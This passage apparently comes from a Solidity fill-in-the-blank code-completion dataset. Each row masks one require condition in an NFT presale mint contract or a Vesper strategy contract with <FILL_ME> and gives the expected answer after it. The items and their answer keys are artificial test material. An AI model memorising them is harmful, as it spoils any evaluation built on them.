function mintPresaleStage2(uint256 tokens, bytes32[] calldata merkleProof) external payable {
}
/// Public Sale mint function
/// @param tokens number of tokens to mint
/// @dev reverts if any of the public sale preconditions aren't satisfied
function mint(uint256 tokens) external payable {
}
/// Owner only mint function
/// Does not require eth
/// @param to address of the recepient
/// @param tokens number of tokens to mint
/// @dev reverts if any of the preconditions aren't satisfied
function ownerMint(address to, uint256 tokens) external onlyOwner {
}
/// Distribute funds to wallets
// function withdrawAll() public onlyOwner {
// uint256 balance = address(this).balance;
// require(balance > 0, "RAW: Insufficent balance");
// _widthdraw(w3, ((balance * 45) / 1000));
// _widthdraw(w2, ((balance * 45) / 1000));
// _widthdraw(w1, address(this).balance);
// }
// function _widthdraw(address _address, uint256 _amount) private {
// (bool success, ) = _address.call{value: _amount}("");
// require(success, "RAW: Failed to widthdraw Ether");
// }
}
| totalSupply()+tokens<=MAX_TOKENS,"RAW: Minting would exceed max supply" | 79,399 | totalSupply()+tokens<=MAX_TOKENS |
"RAW: Minting would exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @title The Red Astro Wars Contract
/// @notice https://redastrowars.io/ https://twitter.com/RedAstroWars
contract RAW is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_TOKENS = 333;
uint256 public constant MAX_TOKENS_STAGE1 = 203;
uint256 public constant MAX_TOKENS_STAGE2 = 333;
uint256 public constant MAX_PER_MINT = 1;
address public constant w1 = 0xfA964c579eDd08438057600bba847d3A1caA14Bb;
address public constant w2 = 0x61d5f2028597CFF4aDf0cFBb95341EFdAc117598;
address public constant w3 = 0xd66c3152fD3030db77d6BE246c944dAe163Ed61b;
uint256 public price = 0 ether;
bool public isRevealed = false;
bool public publicSaleStarted = false;
bool public presaleStage1Started = false;
bool public presaleStage2Started = false;
mapping(address => uint256) private _mintMapping;
uint256 public MaxPerWallet = 1;
string public baseURI = "https://coffee-objective-antlion-23.mypinata.cloud/ipfs/QmRu7FtZcCehsLppibd2fqF4nV9aGMCkDQ3ppdSkysrEN7";
bytes32 public merkleRootStage1 = 0xe9e691e707ca3a11d3b3256861ba5ed4bd743707b1f33cf4cee626ec17f18395;
bytes32 public merkleRootStage2 = 0xccb260e72e9408595a50a9a88e5328dbdffdf861900904be07608599a6b5f9a0;
constructor() ERC721A("Red Astro Wars", "RAW", 33) {
}
function togglePresaleStage1Started() external onlyOwner {
}
function togglePresaleStage2Started() external onlyOwner {
}
function togglePublicSaleStarted() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setMerkleRootStage1(bytes32 _merkleRoot) external onlyOwner {
}
function setMerkleRootStage2(bytes32 _merkleRoot) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Set number of maximum presale mints a wallet can have
/// @param _newPresaleMaxPerWallet value to set
function setPresaleMaxPerWallet(uint256 _newPresaleMaxPerWallet) external onlyOwner {
}
/// PresaleStage1 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage1(uint256 tokens, bytes32[] calldata merkleProof) external payable {
}
/// PresaleStage2 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage2(uint256 tokens, bytes32[] calldata merkleProof) external payable {
require(presaleStage2Started, "RAW: Presale has not started");
require(<FILL_ME>)
require(MerkleProof.verify(merkleProof, merkleRootStage2, keccak256(abi.encodePacked(msg.sender))), "RAW: You are not eligible for the presale");
require(_mintMapping[_msgSender()] + tokens <= MaxPerWallet, "RAW: Presale limit for this wallet reached");
require(tokens <= MAX_PER_MINT, "RAW: Cannot purchase this many tokens in a transaction");
require(totalSupply() + tokens <= MAX_TOKENS, "RAW: Minting would exceed max supply");
require(tokens > 0, "RAW: Must mint at least one token");
// require(price * tokens == msg.value, "RAW: ETH amount is incorrect");
_safeMint(_msgSender(), tokens);
_mintMapping[_msgSender()] += tokens;
}
/// Public Sale mint function
/// @param tokens number of tokens to mint
/// @dev reverts if any of the public sale preconditions aren't satisfied
function mint(uint256 tokens) external payable {
}
/// Owner only mint function
/// Does not require eth
/// @param to address of the recepient
/// @param tokens number of tokens to mint
/// @dev reverts if any of the preconditions aren't satisfied
function ownerMint(address to, uint256 tokens) external onlyOwner {
}
/// Distribute funds to wallets
// function withdrawAll() public onlyOwner {
// uint256 balance = address(this).balance;
// require(balance > 0, "RAW: Insufficent balance");
// _widthdraw(w3, ((balance * 45) / 1000));
// _widthdraw(w2, ((balance * 45) / 1000));
// _widthdraw(w1, address(this).balance);
// }
// function _widthdraw(address _address, uint256 _amount) private {
// (bool success, ) = _address.call{value: _amount}("");
// require(success, "RAW: Failed to widthdraw Ether");
// }
}
| totalSupply()+tokens<=MAX_TOKENS_STAGE2,"RAW: Minting would exceed max supply" | 79,399 | totalSupply()+tokens<=MAX_TOKENS_STAGE2 |
"RAW: You are not eligible for the presale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @title The Red Astro Wars Contract
/// @notice https://redastrowars.io/ https://twitter.com/RedAstroWars
contract RAW is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_TOKENS = 333;
uint256 public constant MAX_TOKENS_STAGE1 = 203;
uint256 public constant MAX_TOKENS_STAGE2 = 333;
uint256 public constant MAX_PER_MINT = 1;
address public constant w1 = 0xfA964c579eDd08438057600bba847d3A1caA14Bb;
address public constant w2 = 0x61d5f2028597CFF4aDf0cFBb95341EFdAc117598;
address public constant w3 = 0xd66c3152fD3030db77d6BE246c944dAe163Ed61b;
uint256 public price = 0 ether;
bool public isRevealed = false;
bool public publicSaleStarted = false;
bool public presaleStage1Started = false;
bool public presaleStage2Started = false;
mapping(address => uint256) private _mintMapping;
uint256 public MaxPerWallet = 1;
string public baseURI = "https://coffee-objective-antlion-23.mypinata.cloud/ipfs/QmRu7FtZcCehsLppibd2fqF4nV9aGMCkDQ3ppdSkysrEN7";
bytes32 public merkleRootStage1 = 0xe9e691e707ca3a11d3b3256861ba5ed4bd743707b1f33cf4cee626ec17f18395;
bytes32 public merkleRootStage2 = 0xccb260e72e9408595a50a9a88e5328dbdffdf861900904be07608599a6b5f9a0;
constructor() ERC721A("Red Astro Wars", "RAW", 33) {
}
function togglePresaleStage1Started() external onlyOwner {
}
function togglePresaleStage2Started() external onlyOwner {
}
function togglePublicSaleStarted() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setMerkleRootStage1(bytes32 _merkleRoot) external onlyOwner {
}
function setMerkleRootStage2(bytes32 _merkleRoot) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Set number of maximum presale mints a wallet can have
/// @param _newPresaleMaxPerWallet value to set
function setPresaleMaxPerWallet(uint256 _newPresaleMaxPerWallet) external onlyOwner {
}
/// PresaleStage1 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage1(uint256 tokens, bytes32[] calldata merkleProof) external payable {
}
/// PresaleStage2 mint function
/// @param tokens number of tokens to mint
/// @param merkleProof Merkle Tree proof
/// @dev reverts if any of the presale preconditions aren't satisfied
function mintPresaleStage2(uint256 tokens, bytes32[] calldata merkleProof) external payable {
require(presaleStage2Started, "RAW: Presale has not started");
require(totalSupply() + tokens <= MAX_TOKENS_STAGE2, "RAW: Minting would exceed max supply");
require(<FILL_ME>)
require(_mintMapping[_msgSender()] + tokens <= MaxPerWallet, "RAW: Presale limit for this wallet reached");
require(tokens <= MAX_PER_MINT, "RAW: Cannot purchase this many tokens in a transaction");
require(totalSupply() + tokens <= MAX_TOKENS, "RAW: Minting would exceed max supply");
require(tokens > 0, "RAW: Must mint at least one token");
// require(price * tokens == msg.value, "RAW: ETH amount is incorrect");
_safeMint(_msgSender(), tokens);
_mintMapping[_msgSender()] += tokens;
}
/// Public Sale mint function
/// @param tokens number of tokens to mint
/// @dev reverts if any of the public sale preconditions aren't satisfied
function mint(uint256 tokens) external payable {
}
/// Owner only mint function
/// Does not require eth
/// @param to address of the recepient
/// @param tokens number of tokens to mint
/// @dev reverts if any of the preconditions aren't satisfied
function ownerMint(address to, uint256 tokens) external onlyOwner {
}
/// Distribute funds to wallets
// function withdrawAll() public onlyOwner {
// uint256 balance = address(this).balance;
// require(balance > 0, "RAW: Insufficent balance");
// _widthdraw(w3, ((balance * 45) / 1000));
// _widthdraw(w2, ((balance * 45) / 1000));
// _widthdraw(w1, address(this).balance);
// }
// function _widthdraw(address _address, uint256 _amount) private {
// (bool success, ) = _address.call{value: _amount}("");
// require(success, "RAW: Failed to widthdraw Ether");
// }
}
| MerkleProof.verify(merkleProof,merkleRootStage2,keccak256(abi.encodePacked(msg.sender))),"RAW: You are not eligible for the presale" | 79,399 | MerkleProof.verify(merkleProof,merkleRootStage2,keccak256(abi.encodePacked(msg.sender))) |
"add-keeper-failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
require(_pool != address(0), "pool-address-is-zero");
require(_swapper != address(0), "swapper-address-is-zero");
swapper = IRoutedSwapper(_swapper);
pool = _pool;
collateralToken = IVesperPool(_pool).token();
receiptToken = _receiptToken;
require(<FILL_ME>)
}
modifier onlyGovernor() {
}
modifier onlyKeeper() {
}
modifier onlyPool() {
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
}
/**
* @notice Withdraw collateral token from end protocol.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| _keepers.add(_msgSender()),"add-keeper-failed" | 79,407 | _keepers.add(_msgSender()) |
"caller-is-not-the-governor" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
}
modifier onlyGovernor() {
require(<FILL_ME>)
_;
}
modifier onlyKeeper() {
}
modifier onlyPool() {
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
}
/**
* @notice Withdraw collateral token from end protocol.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| _msgSender()==IVesperPool(pool).governor(),"caller-is-not-the-governor" | 79,407 | _msgSender()==IVesperPool(pool).governor() |
"caller-is-not-a-keeper" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
}
modifier onlyGovernor() {
}
modifier onlyKeeper() {
require(<FILL_ME>)
_;
}
modifier onlyPool() {
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
}
/**
* @notice Withdraw collateral token from end protocol.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| _keepers.contains(_msgSender()),"caller-is-not-a-keeper" | 79,407 | _keepers.contains(_msgSender()) |
"caller-is-not-vesper-pool" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
}
modifier onlyGovernor() {
}
modifier onlyKeeper() {
}
modifier onlyPool() {
require(<FILL_ME>)
_;
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
}
/**
* @notice Withdraw collateral token from end protocol.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyPool {
}
function _approveToken(uint256 _amount) internal virtual {
}
/**
* @dev some strategy may want to prepare before doing migration.
* Example In Maker old strategy want to give vault ownership to new strategy
* @param _newStrategy .
*/
function _beforeMigration(address _newStrategy) internal virtual;
function _rebalance() internal virtual returns (uint256 _profit, uint256 _loss, uint256 _payback);
function _swapExactInput(
address _tokenIn,
address _tokenOut,
uint256 _amountIn
) internal returns (uint256 _amountOut) {
}
function _safeSwapExactInput(address _tokenIn, address _tokenOut, uint256 _amountIn) internal {
}
// These methods must be implemented by the inheriting strategy
function _withdrawHere(uint256 _amount) internal virtual;
}
| _msgSender()==pool,"caller-is-not-vesper-pool" | 79,407 | _msgSender()==pool |
"add-keeper-failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "vesper-pools/contracts/interfaces/vesper/IVesperPool.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/IERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/Context.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "vesper-pools/contracts/dependencies/openzeppelin/contracts/utils/math/Math.sol";
import "vesper-commons/contracts/interfaces/vesper/IStrategy.sol";
import "../interfaces/swapper/IRoutedSwapper.sol";
abstract contract Strategy is IStrategy, Context {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
IERC20 public immutable collateralToken;
address public receiptToken;
address public immutable override pool;
address public override feeCollector;
IRoutedSwapper public swapper;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
EnumerableSet.AddressSet private _keepers;
event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector);
event UpdatedSwapper(IRoutedSwapper indexed oldSwapper, IRoutedSwapper indexed newSwapper);
constructor(address _pool, address _swapper, address _receiptToken) {
}
modifier onlyGovernor() {
}
modifier onlyKeeper() {
}
modifier onlyPool() {
}
/**
* @notice Add given address in keepers list.
* @param _keeperAddress keeper address to add.
*/
function addKeeper(address _keeperAddress) external onlyGovernor {
require(<FILL_ME>)
}
/// @dev Approve all required tokens
function approveToken(uint256 _approvalAmount) external onlyKeeper {
}
/// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @notice Return list of keepers
function keepers() external view override returns (address[] memory) {
}
/**
* @notice Migrate all asset and vault ownership,if any, to new strategy
* @dev _beforeMigration hook can be implemented in child strategy to do extra steps.
* @param _newStrategy Address of new strategy
*/
function migrate(address _newStrategy) external virtual override onlyPool {
}
/**
* @notice OnlyKeeper: Rebalance profit, loss and investment of this strategy.
* Calculate profit, loss and payback of this strategy and realize profit/loss and
* withdraw fund for payback, if any, and submit this report to pool.
* @return _profit Realized profit in collateral.
* @return _loss Realized loss, if any, in collateral.
* @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt.
*/
function rebalance() external onlyKeeper returns (uint256 _profit, uint256 _loss, uint256 _payback) {
}
/**
* @notice Remove given address from keepers list.
* @param _keeperAddress keeper address to remove.
*/
function removeKeeper(address _keeperAddress) external onlyGovernor {
}
/**
* @notice sweep given token to feeCollector of strategy
* @param _fromToken token address to sweep
*/
function sweepERC20(address _fromToken) external override onlyKeeper {
}
/// @notice Returns address of token correspond to receipt token
function token() external view override returns (address) {
}
/// @notice Returns address of token correspond to collateral token
function collateral() external view override returns (address) {
}
/// @notice Returns total collateral locked in the strategy
function tvl() external view virtual returns (uint256);
/**
* @notice Update fee collector
* @param _feeCollector fee collector address
*/
function updateFeeCollector(address _feeCollector) external onlyGovernor {
}
/**
* @notice Update swapper
* @param _swapper swapper address
*/
function updateSwapper(IRoutedSwapper _swapper) external onlyGovernor {
}
/**
* @notice Withdraw collateral token from end protocol.
